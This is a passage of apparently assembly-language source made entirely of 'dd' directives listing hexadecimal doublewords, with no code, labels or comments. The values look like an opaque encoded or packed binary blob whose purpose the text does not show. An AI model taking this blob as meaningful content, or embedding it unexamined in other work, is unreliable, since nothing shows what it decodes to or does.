84D80B5Fh, 66BBA200h, 0EACD91DAh, 23EF0099h, 0EBDE9D34h dd 0B7008893h, 0E66042E5h, 4CB18EE1h, 913B5E6Ah, 0AEB87980h dd 161FF306h, 8E7E5200h, 9434E04Bh, 492F0096h, 2630F13Ch dd 64005F77h, 4A1B2D13h, 0A022F67Ah, 0C07DD8B0h, 599D9189h dd 0F00080B0h, 0BE6C55C1h, 3F113F05h, 74854BE8h, 8F5D7Dh dd 15873997h, 0B82843E3h, 0F16F096h, 9D008365h, 0A44EAD1Fh dd 7E5C008Fh, 3E01E63Ah, 0EF000431h, 20F3249Bh, 1FBBF82Fh dd 3DCBC46Fh, 59312100h, 83D7578Eh, 35628800h, 0BC6DFA1h dd 9B9D3FC7h, 956700F2h, 0CC4614A2h, 791E5277h, 724062B5h dd 4BFC8069h, 53AD48C4h, 6F2E4400h, 831DB0A3h, 0A5C6F100h dd 0EADD3B45h, 90540006h, 47EE91C3h, 8903BBA1h, 27F8F5FFh dd 7F11D080h, 7D330020h, 5332B222h, 18605E92h, 2639E3F8h dd 64DF2421h, 98A80708h, 19F4E074h, 0FF008180h, 0C5DE82C4h dd 7694F236h, 0F3A075Eh, 106BDA4Eh, 0F6B42BC9h, 0D24400Eh dd 81AA40ADh, 76808A8h, 0C1055645h, 0E9D87043h, 0A50ED03Eh dd 0C90A12B7h, 0FD7C00BAh, 63C672h, 0E189FFF6h, 974DA406h dd 8F5E9A00h, 519484FAh, 412F0021h, 8E5D99Dh, 9101E6F4h dd 6FA4D176h, 54208A1Ch, 4083009Eh, 14B9ACCDh, 490066FDh dd 12C561A3h, 36460Eh, 0CA4045CEh, 0A118D15Ch, 65D34E06h dd 12409080h, 7C366B9h, 0C17F1DE0h, 0C150AA5Bh, 8D34C4E6h dd 3E99F200h, 0A001CD8Fh, 56AD00C9h, 391AE8CFh, 2001FEAFh dd 0A81749B9h, 3CE896AAh, 0CE2803B6h, 7AE7472Ah, 646372F0h dd 40AC500h, 653E27C9h, 688076Bh, 6A8440BDh, 549400C8h dd 0AF3CE5Eh, 8059083Fh, 0F270A21Ah, 99B43F93h, 11C30814h dd 0D5734E00h, 0C06C3260h, 37EB9640h, 254C7B67h, 8EA40088h dd 877BBBFh, 0D80F0FB7h, 5C9DE9Eh, 5751E803h, 0CDD76698h dd 80D9383Bh, 7310CCA5h, 25A6EEh, 566B8EBCh, 0D093B8C2h dd 6A07F4EFh, 67014Ch, 3297A5B6h, 79F12Dh, 0C8371691h dd 6ED20FC5h, 789EEC0Ah, 0D900F51Fh, 7970A5B9h, 9ED0468h dd 0C1C2F127h, 30886D00h, 840787C8h, 8F6A19DBh, 6143A4BFh dd 0D10907h, 2712F83Ah, 592E691Fh, 2889FAC0h, 73CB44F0h dd 67DC00C2h, 0F3BFC9FEh, 0E40322D0h, 0AF66465h, 9BEC00Ch dd 92A80012h, 197830E8h, 0A2FE3B2Eh, 201A60Eh, 448F0013h dd 7150F5h, 3111E2Dh, 0AF4AB2BAh, 0CEBDC500h, 3D38CBC2h dd 0B9E000ADh, 0A59355BBh, 49061B43h, 4A78A79Ch, 0FE7FE40h dd 6A5C326Eh, 0E33589FCh, 0E864F8A6h, 8A009B7Bh, 29F5D0B0h dd 0D276D4h, 5F78CB24h, 56B1BAD8h, 0D7D93Ch, 72F5D127h dd 8DC4CAh, 0B0A02865h, 8AF6AC6h, 64C85500h, 0EB0CD46Fh dd 686738DBh, 9779F8Eh, 0E8F8032Ch, 0B0C4E900h, 0FFBB6DCh dd 0F7CD005Ah, 0AC33062Ch, 0E3005004h, 0F2F86E1Bh, 393065B8h dd 0FF804771h, 568BB93h, 5F04BA4Ah, 0AD8C7AA4h, 0D8F2CCC0h dd 0ED98A7h, 16AA40C9h, 7050D97Bh, 0A1E5A200h, 4A363DC6h dd 0B2B0F2Fh, 1F20DA01h, 0B25A6004h, 8F64A600h, 5F5B55F1h dd 209CB28Ah, 6800DA39h, 0ED172F57h, 0BDD350h, 0F4F15BB3h dd 6081204Dh, 0A2CFD401h, 0AED2E9BAh, 7641830h, 6E9DC16Bh dd 0C07E8010h, 1703B145h, 0F975493Bh, 1668725Ah, 0D3DDD8h dd 0C96E2373h, 46C4702Eh, 0E880F922h, 0FC33651h, 0DC9A345Ah dd 452DF041h, 82DEC027h, 5501D47Eh, 0AE8F2080h, 0F7C1A36Dh dd 7B37FE4h, 0F0EBC066h, 591BC15Bh, 9052C003h, 0D9992000h dd 0DCD42AC2h, 1CE27806h, 4FB438EBh, 1100083Bh, 92B8D525h dd 125BCA03h, 0A037CFE1h, 1B0E595h, 0FD2DED0Eh, 30629F70h dd 0BF1F98E3h, 0DC00B910h, 0A126AD43h, 173600A4h, 710740C6h dd 2C00E619h, 0B076E14Ah, 41A8D5h, 0F0613C5Eh, 8A850A56h dd 0B305FC07h, 29D3C17Ch, 8B6F066h, 0FD8F1EF2h, 0F8E4CDh dd 63271458h, 35093383h, 5608FFh, 1EFB8633h, 43EE02C6h dd 98B81CF7h, 0EBDCC4C1h, 0A9487DE8h, 3427A600h, 0EBA46DC9h dd 67D90984h, 8F5FA2C3h, 6877A067h, 7FAB0807h, 2F6758Dh dd 365CD1B4h, 5E0B5AEh, 31385E2Ch, 886E84D5h, 74C07226h dd 278DDA0h, 412B3993h, 804365E3h, 904DAC98h, 2079B71Ch dd 89EA807Fh, 5FE1178Dh, 1342646h, 0CF150074h, 577A372Dh dd 852C100h, 6F7C1C4Eh, 0EF7200A5h, 7890AE02h, 48241598h dd 43001C5Dh, 71E0F940h, 13B751Eh, 0BD78E567h, 0DCF08813h dd 9500C69Dh, 860634C5h, 7D4C159Ah, 0E46200AEh, 0BD6CB12Fh dd 40008ECFh, 0E1FB656Eh, 4C9945FCh, 0CD00CC16h, 1A80628Fh dd 0E900F361h, 7095B19Fh, 5566C01h, 0CAD1ABB9h, 998D1D7h dd 0EE7820C8h, 9BFE7607h, 9AB736ACh, 0DF68B10h, 0E72B06D6h dd 28C94B28h, 198A7401h, 1EE98CFh, 19834CF1h, 0A12A189Bh dd 2D4ED198h, 0C764BF6h, 7D054501h, 0D080DD4Dh, 89E2B840h dd 49C100B2h, 0D8A48CBCh, 0BA0F2986h, 6F852460h, 7BBD6159h dd 3C6095A5h, 0E4144C8Eh, 38DC5h, 5E0699BCh, 0AA30DADFh dd 6B0C5817h, 612AF205h, 0DC5D39A2h, 88BAC421h, 7F4D2900h dd 282E13D7h, 2A84058Fh, 0AEBB80h, 0DD21FD90h, 0F359CC9Ch dd 0AA1F0460h, 84C0B4D5h, 6A9E41h, 0C03611D2h, 0B728C703h dd 20551018h, 39991968h, 0EC80DC3Ch, 808314CCh, 4008121h dd 0F9FB95F7h, 3A734Dh, 4E655D3Ch, 0E7DD44BDh, 0C79D5609h dd 4BD30061h, 0E6A332h, 8A427E57h, 195F630Dh, 0C248207Ah dd 43BD0048h, 0FD5A3FAEh, 0FB8B049Fh, 8097555Fh, 0AB334194h dd 246012E0h, 95340A10h, 71B000B9h, 0F93951D0h, 22029796h dd 0F1497338h, 9EC841BDh, 28D28C48h, 7CA4AB5Fh, 9C9F0C33h dd 0AE108277h, 8169E83Dh, 859A6E63h, 3C645534h, 0BF990093h dd 8810F642h, 8F0AD8F1h, 98A16459h, 0D58CDF00h, 94FC248Ah dd 0DB980094h, 0BD69AB5Ah, 0EB53DE0Ch, 42643Dh, 0C42CC0E7h dd 1050FA2Eh, 0B7326117h, 0A00E412h, 8FD423A4h, 0D3302EC9h dd 698B0008h, 34ED6059h, 0F143C807h, 5EA06E18h, 2683BEC1h dd 1DD040B1h, 19AB00A5h, 0AA7D281Dh, 2CC66B00h, 0B34145E4h dd 0C9690E97h, 6580409Ch, 2AD10305h, 0D21CB403h, 0A8FE0B25h dd 623F3C3h, 345CA110h, 6B0FF884h, 63253E02h, 0D03BBC69h dd 6281521h, 849E6281h, 761CAAAEh, 0F7C0770Dh, 5ACCDBC1h dd 464A0068h, 0E3B78C58h, 0F0FDAB0h, 0C5016D35h, 5CC0EE2Eh dd 13E21ADh, 0E1E2699Eh, 0E01F77FAh, 1724BDC3h, 0AB00F089h dd 0DE8696A4h, 1F55757Ch, 1FAE6Ch, 6D0D3E94h, 0EC008F8Bh dd 9B8D6993h, 24DA9E24h, 74D702h, 53177E71h, 7724EA50h dd 6940ACFAh, 0EB6ED0h, 7316888Bh, 8538A9E7h, 7D908949h dd 96D00402h, 0E063ADD6h, 12AC59A4h, 0FF9D02h, 1D07CF38h dd 0F5603855h, 9FA3F21h, 0B50F00DFh, 0D6402D5Ch, 0BC01AE88h dd 0EB6F65F2h, 1C858BEh, 222C927Bh, 1D2421A4h, 0C700B88Bh dd 0FCEA0365h, 4478036Ch, 4E921B9Ch, 83A791F1h, 4C3E1E98h dd 0C757C093h, 6F37440h, 1A2F54EFh, 69008866h, 6F89A50Eh dd 0FCAFDFh, 0F9F4790Bh, 0BA332744h, 0F400E2D7h, 104B76B8h dd 61B70068h, 990D2A14h dd 6B004CB4h, 0FB1B08E6h, 8C1FC2h, 0E5F81D3h, 0DA23D910h dd 4C51D602h, 0C2858A5Ah, 0B9B8E05Dh, 8DA100A6h, 0DFFF50E4h dd 7CFCFEFDh, 4059500h, 5E0844B1h, 0ABAF2542h, 8FC02C80h dd 0E8FC59CFh, 3DAC1D0Bh, 8B9C0071h, 258A30h, 68070103h dd 2760D6C5h, 0FADE1102h, 689772E0h, 0ADE940h, 0DBB44820h dd 6341B77Fh, 0DD7BF809h, 0F3AC0093h, 0F7222Bh, 0ED95BC6Ch dd 0D1C2C823h, 0FECEB609h, 6030011Fh, 0D8CD699Dh, 6808D9F3h dd 0A240FE31h, 0E96A8A5h, 72633421h, 0E422C0DFh, 9EB9AA5Ah dd 0E63CF290h, 77E78014h, 0FC5C5957h, 2B800FEEh, 56C0892Dh dd 74CD0D7h, 3EDD2300h, 1EAA39D6h, 0A352399Dh, 40B8BA9Ch dd 257A124Fh, 0FA008EDCh, 780A5D7Eh, 7CE6FFh, 4660B0F8h dd 0B7CC44C9h, 6FDF8B1Fh, 0EB566D00h, 60DEF5D8h, 0D2329E85h dd 0D1626BEh, 840107Bh, 71FECB6Bh, 776600C8h, 0E9E4D1B3h dd 3FF0B44Ah, 0DBD9BB00h, 2C653E64h, 3325018Dh, 0ED45EAFBh dd 67C5437Bh, 0E68CE5C0h, 0E057A71h, 9F59DAFEh, 57D8F800h dd 693BB537h, 600F1169h, 1178C706h, 0D037A71Ch, 0C9A1BE00h dd 756824F5h, 0FB220086h, 95037FCFh, 0DF140FC7h, 8FDC0Bh dd 1B3424EFh, 0C2D26h, 0F4050ABDh, 3FFE19CAh, 0D9D78037h dd 0E6D6CCB1h, 0BD09D740h, 0FE157A8Ch, 0DDFE0581h, 431E9924h dd 9FB0B880h, 0F183BAD9h, 0A00C4030h, 46F64AA3h, 6907B700h dd 44CCF306h, 0EC7FE454h, 94760F82h, 0CC0130Eh, 45F8F425h dd 0E95E6E00h, 6F4A9AAEh, 0F273D18h, 644797h, 1E668DB4h dd 1317B32Ch, 0E31876AEh, 9A985B0h, 0A5F022FDh, 700882Eh dd 5D096592h, 0FCD14328h, 2D4A9700h, 5C42B290h, 0C66100EBh dd 3B5D7737h, 4C4CED8Fh, 0D9E102BFh, 40C30635h, 4F7AC954h dd 0DA0C0109h, 34A43470h, 0F0012360h, 6C8A6BE2h, 72C57E52h dd 2F8F8F3h, 827C0170h, 62E21A8Eh, 4647C476h, 0DB248900h dd 0FD07B0D5h, 0FC190037h, 79AAAF31h, 2C0F267Fh, 78910E20h dd 0F3D360h, 8DA3B770h, 0C1A0279h, 0A8845A24h, 0A5F19E3Ch dd 0B15139C0h, 107C0FCh, 0F90FE86Ah, 708C0801h, 5017CD8h dd 8ED3F833h, 0C960875Bh, 0F0F903E6h, 0EFF4EB54h, 0E71C8096h dd 0F126C33Ch, 0C1993800h, 0E0DC6813h, 0F054001Fh, 0F9299746h dd 0E5605505h, 482A9640h, 811B1E8Fh, 0A1B6804Dh, 3E9A0312h dd 55C22F01h, 0DA0C209Fh, 385E60h, 76927A31h, 7DDC23B5h dd 0C1B9DD03h, 0B859EEA7h, 0E4218883h, 61C90E4h, 0D5A5EB14h dd 59004850h, 0A1B13310h, 9EC0C5A7h, 9024D0h, 0D55EA460h dd 98A091F9h, 760236CEh, 0AA9C5554h, 60BD42DDh, 8B89FBh dd 0BC85AB63h, 0BA1F0AC4h, 0DB1D68C0h, 60487094h, 0D91740ACh dd 8B03027Bh, 4C3FE2BFh, 40181DB0h, 2A3CC0D7h, 5AC641FBh dd 0B986F58h, 0D47BDBh, 7F5EB6F8h, 731109C9h, 0A86B54FCh dd 9EEC8AA8h, 4A1D6778h, 3940E619h, 8F5BB54Fh, 3B330211h dd 0C054A9A7h, 0CD351160h, 0BEE4B800h, 39053A4Bh, 8FA80048h dd 9D5D13C4h, 0E21FC557h, 0CD800F56h, 9440451Bh, 9D03BB5h dd 0F85CB800h, 81E61739h, 47046A1Eh, 0F4E22580h, 53A6FBh dd 0AF9BF345h, 2C6DFDB6h, 482DBB0Ah, 1908C00Ah, 62AE8099h dd 87B63DCDh, 0B4F5CF2Eh, 0C7C06F80h, 5048534Dh, 7D5AD83h dd 862B079Dh, 0B70BE019h, 9509A618h, 80B1C870h, 149D6333h dd 43E00123h, 0F15C9EBEh, 0E6EAFCA9h, 0C9E2823Ah, 0FD12007Ch dd 6C134C58h, 0D55A002Eh, 37DEE531h, 5961E21Eh, 0BFFB02A0h dd 9F3E0F00h, 0C40DE400h, 4B3AEA55h, 0B69E0549h, 0C24A25BDh dd 0C860CF74h, 2B0076DEh, 6F8B2FD8h, 6022BEAAh, 0E250D111h dd 3800B9BCh, 0B1D72AFh, 1351EB4Fh, 150F10h, 0CDD73C0Ch dd 880961C2h, 20CAAAD8h, 1FC549FCh, 90BAE6EDh, 73A0028h dd 829C4783h, 34FDEA17h, 64000C80h, 868C5CCAh, 3A35BD4Ch dd 0A8804914h, 4FFE4B41h, 20004ADh, 0A0E46FDEh, 69CCECh dd 7E44A371h, 55B89CCDh, 9F1AD12Eh, 0B0372E00h, 6A17E8h dd 54A30CFDh, 0C1CE9567h, 0F23BAC90h, 97108B6Dh, 62CC04B8h dd 375214C1h, 2CAD6EE4h, 392D6516h, 6700303Ah, 0BCE60811h dd 5301D1FBh, 0DF2BD83Dh, 0EC2002D0h, 6BA3000Dh, 0DA4BDD32h dd 8000147Eh, 0B2226F5Fh, 3D8CEDB6h, 10025960h, 1D67AC49h dd 0A53F1C40h, 75B9C00h, 17525F78h, 24EB007Bh, 0A2796412h dd 0FFFC33B6h, 34AFD700h, 0D9DAE635h, 445A0094h, 0DC708C6Eh dd 0ABF63A1Dh, 0BAAE0E00h, 0DDCE6B34h, 48080067h, 0B96E637Bh dd 0E500B15Ch, 36599DBEh, 251FFFh, 301699AFh, 3A32EC0Eh dd 0BC7E0100h, 0D92F5629h, 60620F44h, 1CE0D047h, 0D6807BD5h dd 0B9387407h, 58A0CB0Ch, 98A4ED56h, 0D06270Ch, 9B502081h dd 0D7808FDFh, 18AF6094h, 3912598h, 9E2A5630h, 16C0D21Bh dd 2B7C55F5h, 0A9D48200h, 0A4CC1F05h, 142E00DDh, 0FAAA67DCh dd 404F9181h, 9600DABCh, 2CD06599h, 0B0274E41h, 0A4C8637Fh dd 5858A0h, 0F96CEBA7h, 379B39ADh, 675AF3Fh, 0A30F165Fh dd 2D0E3B10h, 86E7E081h, 0E415264Eh, 0BD0382F6h, 0E1058909h dd 9F2800A2h, 0EF2D5C29h, 0C3006E73h, 0E01B1882h, 0C91EBB97h dd 88C45271h, 89FD2D00h, 335DB9E1h, 271E04A0h, 8143AD53h dd 0C8808490h, 0FB00DF95h, 3D418B1Ch, 2736ECh, 0A29F4FC7h dd 8189493Bh, 0D025FA07h, 0AE50A750h, 0E438908Ch, 86C5CE1h dd 8040211Fh, 444C37DDh, 0CC09C273h, 0FF6DD4B3h, 30050187h dd 7CA3ADFEh, 18045A0Eh, 0A5E24799h, 91CD9CA0h, 691B00BAh dd 9F15C335h, 0F8014DC5h, 5ADD4B1Eh, 8740E18Fh, 28671F27h dd 0DC9E92h, 5466EC29h, 434D6FF8h, 40003EEAh, 0AA4BF934h dd 192266Ah, 0C931F0B7h, 0F07F251Bh, 0E9EED40Ch, 5B0B1F00h dd 8E04EB5Fh, 98A418h, 46AFD170h, 0FE2FDD42h, 3B1C6459h dd 8A418178h, 5F6303DFh, 98592460h, 44F600BEh, 8C47E65Eh dd 34B8BFEBh, 0F200AF7Ch, 432DB6F5h, 0ECBE3AAAh, 0E392FC1h dd 0B593B880h, 1400F347h, 25C93640h, 0E94CA0h, 8DBFA8Bh dd 0BCFCC5A6h, 7350CB67h, 0C9EA005Bh, 0E52FE6h, 983A40A0h dd 2BEDAD17h, 80442339h, 86FBFA31h, 0EEB450F9h, 69870079h dd 35DCE93Bh, 0AC1F94EBh, 40812180h, 5CD89E38h, 5C3067D4h dd 9800182Ah, 93780431h, 6C0E97C3h, 20836812h, 0EA2567FAh dd 1F547175h, 1332B0A7h, 984600ADh, 5BE0CB6Fh, 840B6500h dd 45526B89h, 19C83CFCh, 0A53C770Fh, 0D7D802E4h, 0C932E014h dd 0BFE44A36h, 0C2F4C001h, 0E9D30C49h, 0AC53E8h, 0D70EFF1Ch dd 0D0C53DD6h, 108C2E1Eh, 0F88BDB00h, 946E7076h, 0DF250F6Ch dd 3ED9C040h, 0C20F4032h, 604BBBCAh, 0E7E83A66h, 79CF0FE4h dd 0D6E03031h, 5CB7A987h, 64290D01h, 0C6AFD2E2h, 0FA56AF60h dd 0C9FD090Bh, 9C484109h, 0E2005AEEh, 0DEF9D1C5h, 7C24F75Bh dd 78C47DBEh, 67787CC1h, 80F610E2h, 94E003F0h, 0BA3C060Ch dd 94F9D85Ah, 0AE5F6EC4h, 0B880B958h, 0B71EEE9Fh, 0CF00903Fh dd 0C3DE28F2h, 30AD2E74h, 9418C5B1h, 0EC003B25h, 71EBB9CBh dd 0C0CAC951h, 55BCF258h, 0A74C570Bh, 4AE41974h, 5840E308h dd 3FE81CAh, 9F0FBC2Ch, 2112437Eh, 0EC91F723h, 0FFF8E89Ch dd 0FD0D005Ah, 76F5643Eh, 0B102905Ch, 517BF12Eh, 7D4307h dd 0E21F928Eh, 773D427Fh, 6B393Ch, 0D25ABF3h, 0BE5F09h dd 1EE8EDEAh, 5510EBF4h dd 1450BF03h, 8826F6FAh, 16DDF04h, 9B0B87E3h, 30AED0C0h dd 10122912h, 14008EA0h, 13D1CE5Dh, 0E00F0085h, 7E4370E1h dd 440CDDFDh, 0B8E59964h, 150E0052h, 6F8AB989h, 50036F3h dd 71AD4A18h, 1E1940F4h, 409D65EAh, 1ED90446h, 1801AAD6h dd 260B5CBAh, 806A2824h, 0B13BA80Ah, 2F032A00h, 71DDE65Fh dd 6A8B0084h, 79D78DDFh, 0E3006E12h, 26B1B7FDh, 77F3137h dd 9536BAEh, 500BFBF0h, 35E85300h, 16099277h, 85511F9Bh dd 6CC44508h, 71370880h, 1577BF5h, 0D3AC7046h, 0D00D7740h dd 28795B63h, 62A60F1Dh, 2900DD9Dh, 0FC6CA8C8h, 5C6100A1h dd 0E59803B8h, 0A007426Fh, 990420B1h, 0D83D7F03h, 745F1A52h dd 727CC3h, 0D93FDAA4h, 0AE018D88h, 87006471h, 0C75B9A76h dd 0FB3C02h, 3F55B6F2h, 0C4A9E10Dh, 37DA6000h, 0CA461735h dd 78A20032h, 1018D7EEh, 1F00B58Dh, 7354F79Dh, 0FD819Ah dd 8986BFD1h, 0E8E24A45h, 0DBAE3413h, 79AD4000h, 4BD839DCh dd 150127Dh, 2BEE46C0h, 0BF522058h, 3F8B3D07h, 815F8C3Eh dd 0EAA8E0DDh, 30A58FE9h, 0F27EFC83h, 245F3F90h, 6C6159h dd 0D81D6D63h, 58597369h, 0A305888Bh, 307D1Fh, 68F8F9AFh dd 0BB1238CEh, 44B05280h, 83940670h, 5053AD40h, 1D6C6A10h dd 8CA24B78h, 9C000CD4h, 60E67956h, 9243911h, 5DA27B85h dd 3934100h, 0BA00C5F0h, 3AB2C467h, 511DCEEh, 5124AF28h dd 0D08787A1h, 0D158C7ABh, 0D2F5B500h, 86F87673h, 0B25C0397h dd 3055B8AAh, 0FA800A8Ah, 6D2549FDh, 0B6AEBD00h, 963B41BFh dd 28896065h, 3E4AEFE9h, 0C4ACB095h, 0C0242545h, 8CF77800h dd 413910F3h, 0F8D10ED2h, 16D1184Ah, 2E1E0146h, 0B05010D5h dd 4D9DEC5Ch, 12A320Fh, 7D50D8AAh, 0D81700CCh, 0B49609F8h dd 1F0021C2h, 0AB7E563Bh, 0ECA06D84h, 0A2600025h, 860774BCh dd 0FA0045D1h, 76631CC4h, 1F305DABh, 0CAE41AADh, 8B48629h dd 9F89D866h, 67E4408Bh, 4D5B0004h, 812D12FCh, 0B0B0921Dh dd 0A7744F0Eh, 26FBE0F9h, 390542Fh, 0C03E1F1h, 1B88801Eh dd 0BF3FF9A9h, 537F7A1Ah, 606FEB30h, 67C222h, 0CD7E7866h dd 58AB84DFh, 270E8F00h, 0BAE4F421h, 0DE3A0004h, 0BFCC9768h dd 0DC001210h, 1461C8C4h, 5AED75E5h, 7F9CBC07h, 0FD7D34B2h dd 0AFB97203h, 0C0EF293Dh, 1E62C990h, 0C0392836h, 6889AAF5h dd 1F016C2Dh, 23A64F72h, 0D020E843h, 0BA5900C0h, 0C4843791h dd 0E24EEE0Ah, 7F541Dh, 0D234390Fh, 38BD88BEh, 8F810DC1h dd 91799CB7h, 0B468D4h, 0E550FFF6h, 0A384DB6h, 0F38A3207h dd 16ED03ECh, 29003B0Ch, 0B8DF7B1Ch, 7B98660Ah, 6FBA3BA5h dd 10B524h, 0DFA90CA2h, 0A4B84EE8h, 0CE97841Dh, 27C0899Dh dd 0F3B40AE6h, 1BF50059h, 5156E3DEh, 7A3923A0h, 0F9077F1Fh dd 1A1D2782h, 885059h, 0A42199DAh, 9BF30194h, 8083FC05h dd 0E8022BC0h, 5F77B1h, 6D4DEC9Ch, 0A7789160h, 413FCBFh dd 7EE6BB51h, 47A082CCh, 0C7561D60h, 9B4B9700h, 4F0491EDh dd 90873069h, 54268138h, 8760AD3Ch, 0CD8577C0h, 7ECC61E9h dd 0A912F140h, 4E463AB0h, 0D94F983h, 0A6D02620h, 0D6002A3Ch dd 0B7513AF7h, 5019AC54h, 7BD044h, 0F33C4038h, 0E1903565h dd 800A7D00h, 45917F5Ch, 0FDC30069h, 67DA7447h, 96007751h dd 0C24CF9FBh, 39FEB62h, 14D293ADh, 8BC072F0h, 0DE1C4DCEh dd 5FC03961h, 0E3F28D2Ch, 1ED500DFh, 41D5C5Ah, 8F0201DDh dd 2ABCB16Bh, 0E1306185h, 12016422h, 1989E5FEh, 7460EAF5h dd 9348AC1Fh, 0C2E01D90h, 9E2BBC4h, 586518B0h, 7B019A3Fh dd 0A1E7D8EFh, 840C65Bh, 0BB09464Fh, 1A467BDh, 7066CCAh dd 2434D520h, 28EEBBCh, 5094365Fh, 0FC689068h, 5F57301h dd 4ACE5B5Eh, 31781880h, 0F130423Dh, 15A61D0Bh, 406E896Fh dd 840C2AACh, 3BD49F20h, 2900B443h, 880D4056h, 0F005CB5h dd 34105F78h, 72FA0A9h, 0B4415EF0h, 0EFFA548Ah, 77674180h dd 961C90FCh, 0CDF0028h, 35142CE1h, 49484B00h, 5C1FC7B1h dd 0F52200F4h, 0D9A621F8h, 4600BD5Dh, 0EAD38292h, 3ED8F69h dd 234DEB3Bh, 8A989BF0h, 862637ABh, 0B700D453h, 0A3D9E3C3h dd 0EDAF00EBh, 24706141h, 0C517520Ah, 0C9006A22h, 603FB62Eh dd 68DF00B0h, 7B8B43E3h, 20F2A34Eh, 71990B1Fh, 9B415707h dd 0B6A52F00h, 0DEAA48E6h, 24649625h, 0BAF3313h, 7280705Eh dd 4247080Ah, 0FD904Fh, 753AEAD1h, 0F8E2E1C6h, 987D5C71h dd 0E7B7AA00h, 43448078h, 61C1009Fh, 863C3625h, 0BD1727B9h dd 390048BAh, 4F4B94DBh, 747A00DDh, 51BCC1D8h, 0DF1E3C5Dh dd 5E81BF61h, 0C71B09C4h, 7FCDEFEDh, 628FF8h, 61F3D0D5h dd 1EE16D5Bh, 7CEAD400h, 176E1321h, 0FCB0008Eh, 0A31BCFA6h dd 0C1035AC8h, 1C4B093Ch, 9F94B8FAh, 0A2B50084h, 728AC057h dd 1803CC21h, 36C31D51h, 5D48C8B2h, 0B93A00B6h, 10833F5h dd 590315E6h, 3665E1BCh, 0CB31A0BAh, 78A901BBh, 0F926A14Dh dd 0E5AED423h, 2EC94E00h, 0A24B4761h, 0B7B407CFh, 30676B30h dd 0B0E0D4AAh, 54573400h, 0E1DE9B32h, 257707D9h, 23501DE9h dd 0A00781F9h, 0FE4807BAh, 99C6CBC0h, 256D3F56h, 0C868B683h dd 0C8095038h, 83616575h, 3C853C2Bh, 0E4002D10h, 0E7714620h dd 0BB0121FBh, 7B69123h, 1FF1FE09h, 7A3999DCh, 8468C0C1h dd 813F4BFBh, 5D43A900h, 3E4788CEh, 0D7DC00BFh, 36CB5FF0h dd 210F2EA1h, 251B601h, 81CE3858h, 56B83020h, 792BAC50h dd 74417996h, 3E432A70h, 80680034h, 0B3B7CA7Eh, 0A73D463h dd 3AF4F17Bh, 7487AB1Eh, 7CAAD9C0h, 1EA4AEh, 39D3C1CFh dd 0FB461A31h, 97E1E000h, 758ABE29h, 0FC7B7564h, 79300947h dd 6C002F62h, 0B0E25D4Bh, 6C48100h, 24BBED28h, 0C33400B2h dd 4C29ABD2h, 521F1B40h, 0E80A06Fh, 0F30DAFE6h, 845C00CBh dd 3562E423h, 9AE4DC2Dh, 0FBBA3300h, 15B151FDh, 18313CA2h dd 4C91B780h, 1AC82F3Fh, 0FC98D00h, 454E13F8h, 0ABFA0054h dd 88A58C97h, 0B60EBFBEh, 7F4C01E0h, 3BF0BA95h, 0A1DC0068h dd 196FC65Ah, 0E15302C1h, 3EBE3D94h, 0D7209840h, 134EA200h dd 272CA602h, 0F46D247Ah, 77A30080h, 1F1BEF6Ah, 0EEA0C200h dd 0D6CF219Fh, 4F3403CEh, 33CB25A4h, 238C7BC0h, 3F948324h dd 0CEC61A1Dh, 974E86CCh, 4A11E980h, 0BD5CC089h, 41B00ADh dd 94A97D31h, 5EA6003Bh, 0B538DF96h, 82033632h, 0DBA314D9h dd 60FFD791h, 15AA9384h, 8AFEB9h, 13BA2B80h, 0F4382E04h dd 87008B79h, 1FABD8D5h, 0CD574Fh, 0DEDF89A5h, 669972E9h dd 0B9922F00h, 0B00E32B6h, 0C188007Eh, 56F26CCEh, 0CFF27F3Bh dd 0F1E45D01h, 0ED9CB0FCh, 8F82D0h, 4B7D80D1h, 1CADCA36h dd 0E0336200h, 0D97ADF42h, 2415018Eh, 5DD25B0Ch, 0DFDFCCAh dd 69789574h, 941FB200h, 328505FBh, 10DD003Fh, 7CAE1B54h dd 77009042h, 7D4D9D4Fh, 764BEFDCh, 94A80017h, 0A708B7EBh dd 0B890CCABh, 5CDA200h, 6F1DC0AEh, 0B3800097h, 0DD5E2D9Dh dd 7B016228h, 0B7BF6E0Ch, 0DE60FC2Ah, 51A509B4h, 9820BE46h dd 56B20EEBh, 80D3AF00h, 24A73499h, 3D9B3E50h, 0C14216h dd 1FA6EBE0h, 0CB01874Bh, 0C62D0161h, 9EE8A46Eh, 38146038h dd 9172F24Dh, 666B1C00h, 0D3A54846h, 0B51500D9h, 35945902h dd 1000F586h, 9D31EAB4h, 88D490h, 0ABB9FA36h, 7B2FDFE9h dd 0FCC404C0h, 1FE359Eh dd 5063231Fh, 31D3A62Dh, 4759EC88h, 0F474F800h, 19F20FDCh dd 0C6E20062h, 7C0CB79Ch, 0D10740EDh, 6910F6D4h, 6EA0582Fh dd 0EAEED3h, 1A92A3FEh, 0B52F19BCh, 50372D00h, 8F1D8261h dd 1F5FE625h, 0C1D96BFDh, 693DC7Ch, 2C20309Dh, 0CCB07813h dd 51EA2900h, 0AA1D5676h, 0CADC4890h, 8A7000E2h, 7FF664Eh dd 0D70185C3h, 58417CDAh, 687055B8h, 817D71h, 1FC0822h dd 856C83B7h, 0A2E99100h, 0DFEFA4B3h, 623E3F84h, 0ABC4EE03h dd 3BF0AC99h, 25009CF6h, 0A5A871B9h, 0B823A439h, 0EDEB0047h dd 0A1F1FC66h, 0B005E4Ch, 45212002h, 7CB4206h, 0B1BDB826h dd 95CCDE73h, 0BC44F0D8h, 0A7220041h, 7A8F0382h, 5200303Eh dd 54AFF0C7h, 0FBCCDEh, 0ED637662h, 0B48518A3h, 444D1100h dd 81AF8DF3h, 62C10022h, 0DB802BADh, 800A6E8h, 0BAEC21CEh dd 0FA314Bh, 0E2D5E4FFh, 0A038F618h, 2081D903h, 9AB7884Dh dd 0BB6DE0BEh, 3A5601CCh, 0C79CEDD7h, 2804D88Dh, 530D000h dd 0D1D6B7E9h, 3543F18h, 0F9079FDCh, 30F1B1A6h, 30DD49F0h dd 0B2DB4500h, 9821655Ah, 0BA3938AAh, 0A0EA1B13h, 843B53F9h dd 0C16BA696h, 0B8B08803h, 91AEE876h, 0E4F900D9h, 0D02D03C9h dd 7E0050E6h, 7826274Bh, 2F5F07h, 0DC618699h, 0EFC5EC8Ch dd 3151D717h, 7B725500h, 0C65CA4h, 2157C0D6h, 0DBAC123Bh dd 35E0280Eh, 2158EE2Eh, 67959269h, 1C04FECh, 3CAD5627h dd 0BB45D589h, 0D0C80019h, 1184C9EAh, 3B313A62h, 25DD5F80h dd 0AF6E7E29h, 0CF8A0E00h, 0D8E69D33h, 94650E8Ch, 82E0C808h dd 1FF79302h, 